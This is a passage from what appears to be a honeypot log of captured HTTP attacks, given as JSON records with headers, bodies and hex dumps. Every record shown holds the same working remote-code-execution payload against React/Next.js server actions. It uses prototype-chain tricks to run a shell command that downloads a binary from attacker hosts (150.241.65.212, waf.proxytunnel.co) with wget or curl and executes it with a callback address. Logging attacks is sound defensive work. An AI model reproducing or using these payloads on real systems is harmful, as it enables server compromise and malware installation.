c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e623b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6220687474703a2f2f3135302e3234312e36352e3231323a3838392f67673131207c7c206375726c202d6b202d73202d6f202e6220687474703a2f2f3135302e3234312e36352e3231323a3838392f6767313129205c75303032365c75303032362063686d6f64202b78202e62205c75303032365c7530303236202e2f2e622039342e3135342e34332e32343920323332375c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"7845158a-e4ff-40f3-a1c1-d521481da70d","seq":1,"duration_ms":100,"bytes_in":1621,"bytes_out":78},{"timestamp":"2026-08-14T00:34:04","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1382\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .b; (wget -q --no-check-certificate -O .b http://150.241.65.212:889/gg11 || curl -k -s -o .b http://150.241.65.212:889/gg11) \\u0026\\u0026 chmod +x .b \\u0026\\u0026 ./.b 94.154.43.249 2327\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313338320d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e623b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6220687474703a2f2f3135302e3234312e36352e3231323a3838392f67673131207c7c206375726c202d6b202d73202d6f202e6220687474703a2f2f3135302e3234312e36352e3231323a3838392f6767313129205c75303032365c75303032362063686d6f64202b78202e62205c75303032365c7530303236202e2f2e622039342e3135342e34332e32343920323332375c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"8ad8464e-181c-4955-84d1-d36d9195f6a2","seq":1,"duration_ms":100,"bytes_in":1620,"bytes_out":78},{"timestamp":"2026-08-14T00:03:33","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1382\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .b; (wget -q --no-check-certificate -O .b http://150.241.65.212:889/gg11 || curl -k -s -o .b http://150.241.65.212:889/gg11) \\u0026\\u0026 chmod +x .b \\u0026\\u0026 ./.b 94.154.43.249 2327\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313338320d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e623b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6220687474703a2f2f3135302e3234312e36352e3231323a3838392f67673131207c7c206375726c202d6b202d73202d6f202e6220687474703a2f2f3135302e3234312e36352e3231323a3838392f6767313129205c75303032365c75303032362063686d6f64202b78202e62205c75303032365c7530303236202e2f2e622039342e3135342e34332e32343920323332375c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"efda604b-5bc5-428b-a5af-cfe6341272b0","seq":1,"duration_ms":100,"bytes_in":1620,"bytes_out":78},{"timestamp":"2026-08-13T21:52:48","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1382\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .b; (wget -q --no-check-certificate -O .b http://150.241.65.212:889/gg11 || curl -k -s -o .b http://150.241.65.212:889/gg11) \\u0026\\u0026 chmod +x .b \\u0026\\u0026 ./.b 94.154.43.249 2327\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313338320d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e623b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6220687474703a2f2f3135302e3234312e36352e3231323a3838392f67673131207c7c206375726c202d6b202d73202d6f202e6220687474703a2f2f3135302e3234312e36352e3231323a3838392f6767313129205c75303032365c75303032362063686d6f64202b78202e62205c75303032365c7530303236202e2f2e622039342e3135342e34332e32343920323332375c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"4ce07dd9-bd9c-49bb-b8d7-bd602c843e02","seq":1,"duration_ms":100,"bytes_in":1622,"bytes_out":78},{"timestamp":"2026-08-13T12:17:10","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1390\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .b; (wget -q --no-check-certificate -O .b http://waf.proxytunnel.co:889/gg11 || curl -k -s -o .b http://waf.proxytunnel.co:889/gg11) \\u0026\\u0026 chmod +x .b \\u0026\\u0026 ./.b 94.154.43.249 2327\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313339300d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e623b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6220687474703a2f2f7761662e70726f787974756e6e656c2e636f3a3838392f67673131207c7c206375726c202d6b202d73202d6f202e6220687474703a2f2f7761662e70726f787974756e6e656c2e636f3a3838392f6767313129205c75303032365c75303032362063686d6f64202b78202e62205c75303032365c7530303236202e2f2e622039342e3135342e34332e32343920323332375c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"152bcb9b-f1ad-402c-8efa-b28fb0846ff2","seq":1,"duration_ms":100,"bytes_in":1629,"bytes_out":78},{"timestamp":"2026-08-13T11:44:08","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1390\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .b; (wget -q --no-check-certificate -O .b http://waf.proxytunnel.co:889/gg11 || curl -k -s -o .b http://waf.proxytunnel.co:889/gg11) \\u0026\\u0026 chmod +x .b \\u0026\\u0026 ./.b 94.154.43.249 2327\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313339300d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3